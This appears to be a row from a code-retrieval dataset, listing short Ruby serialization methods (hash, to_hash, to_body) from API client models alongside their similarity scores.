"def hash\n [action, action_date, integration_id, include_screen_recordings, conversation_query].hash\n end",
"def hash\n [reference, create_date_time_utc, refund_number, status, amount_to_refund, converted_amount_to_refund, converted_currency, conversion_rate, steps, attributes].hash\n end",
"def to_hash\n { :type => 'send',\n :dst => self.dst,\n :msj => self.msj,\n :smsc => self.smsc,\n :report => self.report,\n :validity => self.validity}\n end",
"def hash\n [description, routing_number, account_number, account_type, signatory, metadata, id, signature_url, bank_name, verified, date_created, date_modified, deleted, object].hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def hash\n [queue_id, flow_id, provider, skill_ids, language_id, priority, attributes, to_address, to_name, from_address, from_name, subject, direction, html_body, text_body].hash\n end",
"def to_hash()\n return {\n id: @id,\n name: @name,\n contact: @contact,\n post_code: @post_code,\n }\n end",
"def hash\n [destination, include_tags, name, query, rehydration_max_scan_size_in_gb, rehydration_tags].hash\n end",
"def hash\n [type, id, timestamp, local_timestamp, local_timezone, caller_id, service_url, channel_id, from, conversation, recipient, text_format, attachment_layout, members_added, members_removed, reactions_added, reactions_removed, topic_name, history_disclosed, locale, text, speak, input_hint, summary, suggested_actions, attachments, entities, channel_data, action, reply_to_id, label, value_type, value, name, relates_to, code, expiration, importance, delivery_mode, listen_for, text_highlights, semantic_action].hash\n end",
"def hash\n [occurred_at, carrier_occurred_at, description, city_locality, state_province, postal_code, country_code, company_name, signer, event_code, latitude, longitude].hash\n end",
"def to_hash\n @data\n end",
"def to_h\n {\n xmlns: fields.xmlns,\n entry: fields.to_h\n }\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end"
] |
[
"0.73391426",
"0.71361554",
"0.69639176",
"0.69332045",
"0.69123054",
"0.68998337",
"0.6895101",
"0.68694097",
"0.68244773",
"0.6761689",
"0.67035925",
"0.66412026",
"0.6614358",
"0.6602742",
"0.65816575",
"0.6560691",
"0.6543602",
"0.65328777",
"0.65308064",
"0.652314",
"0.65131193",
"0.6496465",
"0.6495864",
"0.6494089",
"0.6494089",
"0.6494089",
"0.64774346",
"0.6474949",
"0.6465799",
"0.64632255",
"0.64586115",
"0.6424846",
"0.64230347",
"0.6403292",
"0.64003164",
"0.63966084",
"0.63966084",
"0.63944733",
"0.63738585",
"0.6345142",
"0.6338868",
"0.6336985",
"0.63314646",
"0.63299495",
"0.6329852",
"0.63255304",
"0.6325343",
"0.6320057",
"0.63181454",
"0.63077414",
"0.62946755",
"0.6294334",
"0.62774366",
"0.62585974",
"0.6258597",
"0.6258597",
"0.6258597",
"0.6258597",
"0.6258597",
"0.6258597",
"0.6258597",
"0.6256353",
"0.6250461",
"0.62486523",
"0.62382656",
"0.62301177",
"0.62301177",
"0.62250173",
"0.6217495",
"0.6207188",
"0.6206757",
"0.6206001",
"0.6205963",
"0.61957127",
"0.6192053",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649",
"0.6191649"
] |
0.67869824
|
9
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.